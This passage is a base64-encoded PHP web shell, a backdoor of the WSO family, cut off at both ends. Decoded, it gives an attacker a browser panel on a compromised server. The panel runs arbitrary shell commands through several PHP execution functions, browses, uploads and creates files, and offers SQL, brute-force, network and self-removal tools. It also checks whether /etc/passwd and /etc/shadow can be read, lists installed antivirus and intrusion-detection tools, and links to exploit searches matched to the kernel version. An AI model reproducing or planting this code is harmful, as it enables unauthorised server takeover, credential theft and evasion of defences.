hhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOw0KCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOw0KCX0NCjwvc2NyaXB0Pg0KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyc+DQo8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4NCjwvZm9ybT4iOw0KCSRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7DQoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7DQoJJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsNCgkkZXhwbGluayA9ICdodHRwOi8vZXhwbG9pdC1kYi5jb20vbGlzdC5waHA/ZGVzY3JpcHRpb249JzsNCglpZihzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlKQ0KCQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJ0xpbnV4IEtlcm5lbCAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsNikpOw0KCWVsc2UNCgkJJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCRrZXJuZWwgLiAnICcgLiBzdWJzdHIoJHJlbGVhc2UsMCwzKSk7DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQoJCSR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsNCgkJJHVpZCA9IEBnZXRteXVpZCgpOw0KCQkkZ2lkID0gQGdldG15Z2lkKCk7DQoJCSRncm91cCA9ICI/IjsNCgl9IGVsc2Ugew0KCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7DQoJCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsNCgkJJHVzZXIgPSAkdWlkWyduYW1lJ107DQoJCSR1aWQgPSAkdWlkWyd1aWQnXTsNCgkJJGdyb3VwID0gJGdpZFsnbmFtZSddOw0KCQkkZ2lkID0gJGdpZFsnZ2lkJ107DQoJfQ0KDQoJJGN3ZF9saW5rcyA9ICcnOw0KCSRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQoJJG49Y291bnQoJHBhdGgpOw0KCWZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7DQoJCSRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsNCgkJZm9yKCRqPTA7ICRqPD0kaTsgJGorKykNCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsNCgkJJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KCX0NCg0KCSRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOw0KCSRvcHRfY2hhcnNldHMgPSAnJzsNCglmb3JlYWNoKCRjaGFyc2V0cyBhcyAkaXRlbSkNCgkJJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIiAnLigkX1BPU1RbJ2NoYXJzZXQnXT09JGl0ZW0/J3NlbGVjdGVkJzonJykuJz4nLiRpdGVtLic8L29wdGlvbj4nOw0KDQoJJG0gPSBhcnJheSgnU2VjLiBJbmZvJz0+J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0NvbnNvbGUnPT4nQ29uc29sZScsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnU2FmZSBtb2RlJz0+J1NhZmVNb2RlJywnU3RyaW5nIHRvb2xzJz0+J1N0cmluZ1Rvb2xzJywnQnJ1dGVmb3JjZSc9PidCcnV0ZWZvcmNlJywnTmV0d29yayc9PidOZXR3b3JrJyk7DQoJaWYoIWVtcHR5KCRHTE9CQUxTWydhdXRoX3Bhc3MnXSkpDQoJCSRtWydMb2dvdXQnXSA9ICdMb2dvdXQnOw0KCSRtWydTZWxmIHJlbW92ZSddID0gJ1NlbGZSZW1vdmUnOw0KCSRtZW51ID0gJyc7DQoJZm9yZWFjaCgkbSBhcyAkayA9PiAkdikNCgkJJG1lbnUgLj0gJzx0aCB3aWR0aD0iJy4oaW50KSgxMDAvY291bnQoJG0pKS4nJSI+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT4gXTwvdGg+JzsNCg0KCSRkcml2ZXMgPSAiIjsNCglpZigkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgew0KCQlmb3JlYWNoKHJhbmdlKCdjJywneicpIGFzICRkcml2ZSkNCgkJaWYoaXNfZGlyKCRkcml2ZS4nOlxcJykpDQoJCQkkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7DQoJfQ0KCWVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWydvcyddID09ICd3aW4nPyc8YnI+RHJpdmVzOic6JycpIC4gJzwvc3Bhbj48L3RkPicNCiAgICAgICAuICc8dGQ+PG5vYnI+JyAuIHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgLiAnIDxhIGhyZWY9IicgLiAkZXhwbGluayAuICciIHRhcmdldD1fYmxhbms+W2V4cGxvaXQtZGIuY29tXTwvYT48L25vYnI+PGJyPicgLiAkdWlkIC4gJyAoICcgLiAkdXNlciAuICcgKSA8c3Bhbj5Hcm91cDo8L3NwYW4+ICcgLiAkZ2lkIC4gJyAoICcgLiAkZ3JvdXAgLiAnICk8YnI+JyAuIEBwaHB2ZXJzaW9uKCkgLiAnIDxzcGFuPlNhZmUgbW9kZTo8L3NwYW4+ICcgLiAoJEdMT0JBTFNbJ3NhZmVfbW9kZSddPyc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9IzAwYmIwMD48Yj5PRkY8L2I+PC9mb250PicpDQogICAgICAgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxcJ1wnLFwnaW5mb1wnKSI+WyBwaHBpbmZvIF08L2E+IDxzcGFuPkRhdGV0aW1lOjwvc3Bhbj4gJyAuIGRhdGUoJ1ktbS1kIEg6aTpzJykgLiAnPGJyPicgLiBCT0ZGVmlld1NpemUoJHRvdGFsU3BhY2UpIC4gJyA8c3Bhbj5GcmVlOjwvc3Bhbj4gJyAuIEJPRkZWaWV3U2l6ZSgkZnJlZVNwYWNlKSAuICcgKCcuIChpbnQpICgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkgLiAnJSk8YnI+JyAuICRjd2RfbGlua3MgLiAnICcuIEJPRkZQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycgLiAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjxicj4nIC4gJGRyaXZlcyAuICc8L3RkPicNCiAgICAgICAuICc8dGQgd2lkdGg9MSBhbGlnbj1yaWdodD48bm9icj48c2VsZWN0IG9uY2hhbmdlPSJnKG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnZhbHVlKSI+PG9wdGdyb3VwIGxhYmVsPSJQYWdlIGNoYXJzZXQiPicgLiAkb3B0X2NoYXJzZXRzIC4gJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzcGFuPlNlcnZlciBJUDo8L3NwYW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcGFuPkNsaWVudCBJUDo8L3NwYW4+PGJyPicgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICc8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+Jw0KICAgICAgIC4gJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nIC4gJG1lbnUgLiAnPC90cj48L3RhYmxlPjxkaXYgc3R5bGU9Im1hcmdpbjo1Ij4nOw0KfQ0KDQpmdW5jdGlvbiBCT0ZGRm9vdGVyKCkgew0KCSRpc193cml0YWJsZSA9IGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/IiA8Zm9udCBjb2xvcj0nIzI1ZmYwMCc+KFdyaXRlYWJsZSk8L2ZvbnQ+IjoiIDxmb250IGNvbG9yPXJlZD4oTm90IHdyaXRhYmxlKTwvZm9udD4iOw0KICAgIGVjaG8gIg0KPC9kaXY+DQo8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJSAgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICMzMzM7Ym9yZGVyLWJvdHRvbToycHggc29saWQgIzMzMzsnPg0KCTx0cj4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PSdnKG51bGwsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZGlyOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUsJ21rZmlsZScpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5NYWtlIGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdDb25zb2xlJyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPkV4ZWN1dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCQk8dGQ+PGZvcm0gbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNQW4nPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3VwbG9hZEZpbGUnPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiAiJz4NCgkJPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48YnIgID48L3RkPg0KCTwvdHI+PC90YWJsZT48L2Rpdj48L2JvZHk+PC9odG1sPiI7DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRwd3VpZCcpPT09ZmFsc2UpKSB7DQogICAgZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSkgew0KICAgIGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQ0KDQpmdW5jdGlvbiBCT0ZGRXgoJGluKSB7DQoJJG91dCA9ICcnOw0KCWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KCQlAZXhlYygkaW4sJG91dCk7DQoJCSRvdXQgPSBAam9pbigiXG4iLCRvdXQpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCgkJb2Jfc3RhcnQoKTsNCgkJQHBhc3N0aHJ1KCRpbik7DQoJCSRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCgl9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KCQlvYl9zdGFydCgpOw0KCQlAc3lzdGVtKCRpbik7DQoJCSRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCgl9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCgkJJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsNCgl9IGVsc2VpZiAoaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGluLCJyIikpKSB7DQoJCSRvdXQgPSAiIjsNCgkJd2hpbGUoIUBmZW9mKCRmKSkNCgkJCSRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7DQoJCXBjbG9zZSgkZik7DQoJfQ0KCXJldHVybiAkb3V0Ow0KfQ0KZnVuY3Rpb24gQk9GRlZpZXdTaXplKCRzKSB7DQoJaWYoJHMgPj0gMTA3Mzc0MTgyNCkNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOw0KCWVsc2VpZigkcyA+PSAxMDQ4NTc2KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOw0KCWVsc2VpZigkcyA+PSAxMDI0KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOw0KCWVsc2UNCgkJcmV0dXJuICRzIC4gJyBCJzsNCn0NCg0KZnVuY3Rpb24gQk9GRlBlcm1zKCRwKSB7DQoJaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOw0KCWVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7DQoJZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsNCgllbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOw0KCWVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7DQoJZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsNCgllbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOw0KCWVsc2UgJGkgPSAndSc7DQoJJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCSRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoJcmV0dXJuICRpOw0KfQ0KDQpmdW5jdGlvbiBCT0ZGUGVybXNDb2xvcigkZikgew0KCWlmICghQGlzX3JlYWRhYmxlKCRmKSkNCgkJcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPicgLiBCT0ZGUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOw0KCWVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpDQoJCXJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIEJPRkZQZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7DQoJZWxzZQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPSMyNWZmMDA+JyAuIEJPRkZQZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7DQp9DQoNCmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgew0KCWZ1bmN0aW9uIHNjYW5kaXIoJGRpcikgew0KCQkkZGggID0gb3BlbmRpcigkZGlyKTsNCgkJd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkNCiAgICAJCSRmaWxlc1tdID0gJGZpbGVuYW1lOw0KCQlyZXR1cm4gJGZpbGVzOw0KCX0NCn0NCg0KZnVuY3Rpb24gQk9GRldoaWNoKCRwKSB7DQoJJHBhdGggPSBCT0ZGRXgoJ3doaWNoICcgLiAkcCk7DQoJaWYoIWVtcHR5KCRwYXRoKSkNCgkJcmV0dXJuICRwYXRoOw0KCXJldHVybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpIHsNCglCT0ZGSGVhZGVyKCk7DQoJZWNobyAnPGgxPlNlcnZlciBzZWN1cml0eSBpbmZvcm1hdGlvbjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQoJZnVuY3Rpb24gQk9GRlNlY1BhcmFtKCRuLCAkdikgew0KCQkkdiA9IHRyaW0oJHYpOw0KCQlpZigkdikgew0KCQkJZWNobyAnPHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7DQoJCQlpZihzdHJwb3MoJHYsICJcbiIpID09PSBmYWxzZSkNCgkJCQllY2hvICR2IC4gJzxicj4nOw0KCQkJZWxzZQ0KCQkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPicgLiAkdiAuICc8L3ByZT4nOw0KCQl9DQoJfQ0KCQ0KCUJPRkZTZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykpDQogICAgICAgIEJPRkZTZWNQYXJhbSgnTG9hZGVkIEFwYWNoZSBtb2R1bGVzJywgaW1wbG9kZSgnLCAnLCBhcGFjaGVfZ2V0X21vZHVsZXMoKSkpOw0KCUJPRkZTZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddPyRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddOidub25lJyk7DQoJQk9GRlNlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsNCglCT0ZGU2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7DQoJQk9GRlNlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpOw0KCUJPRkZTZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7DQoJJHRlbXA9YXJyYXkoKTsNCglpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2dldF9jbGllbnRfaW5mbycpKQ0KCQkkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsNCglpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkNCgkJJHRlbXBbXSA9ICJNU1NRTCI7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpDQoJCSR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdvY2lfY29ubmVjdCcpKQ0KCQkkdGVtcFtdID0gIk9yYWNsZSI7DQoJQk9GRlNlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOw0KCWVjaG8gJzxicj4nOw0KCQ0KCWlmKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7DQoJCUJPRkZTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsNCgkJQk9GRlNlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiZXRjXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTsNCgkJQk9GRlNlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOw0KCQlCT0ZGU2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOw0KCQlpZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7DQogICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCiAgICAgICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZzY2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRhYmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywnb3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywnc3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOw0KICAgICAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7DQoJCQllY2hvICc8YnI+JzsNCgkJCSR0ZW1wPWFycmF5KCk7DQoJCQlmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkNCgkJCQlpZihCT0ZGV2hpY2goJGl0ZW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07DQoJCQlCT0ZGU2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCgkJCSR0ZW1wPWFycmF5KCk7DQoJCQlmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKQ0KCQkJCWlmKEJPRkZXaGljaCgkaXRlbSkpDQogICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCgkJCUJPRkZTZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQoJCQkkdGVtcD1hcnJheSgpOw0KCQkJZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICRpdGVtKSANCgkJCQlpZihCT0ZGV2hpY2goJGl0ZW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07DQoJCQlCT0ZGU2VjUGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQoJCQllY2hvICc8YnIvPic7DQogICAgICAgICAgICBCT0ZGU2VjUGFyYW0oJ0hERCBzcGFjZScsIEJPRkZFeCgnZGYgLWgnKSk7DQoJCQlCT0ZGU2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOw0KCQl9DQoJfSBlbHNlIHsNCgkJQk9GRlNlY1BhcmFtKCdPUyBWZXJzaW9uJyxCT0ZGRXgoJ3ZlcicpKTsNCgkJQk9GRlNlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyxCT0ZGRXgoJ25ldCBhY2NvdW50cycpKTsNCgkJQk9GRlNlY1BhcmFtKCdVc2VyIEFjY291bnRzJyxCT0ZGRXgoJ25ldCB1c2VyJykpOw0KCX0NCgllY2hvICc8L2Rpdj4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uUGhwKCkgew0KCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gdHJ1ZTsNCgkJb2Jfc3RhcnQoK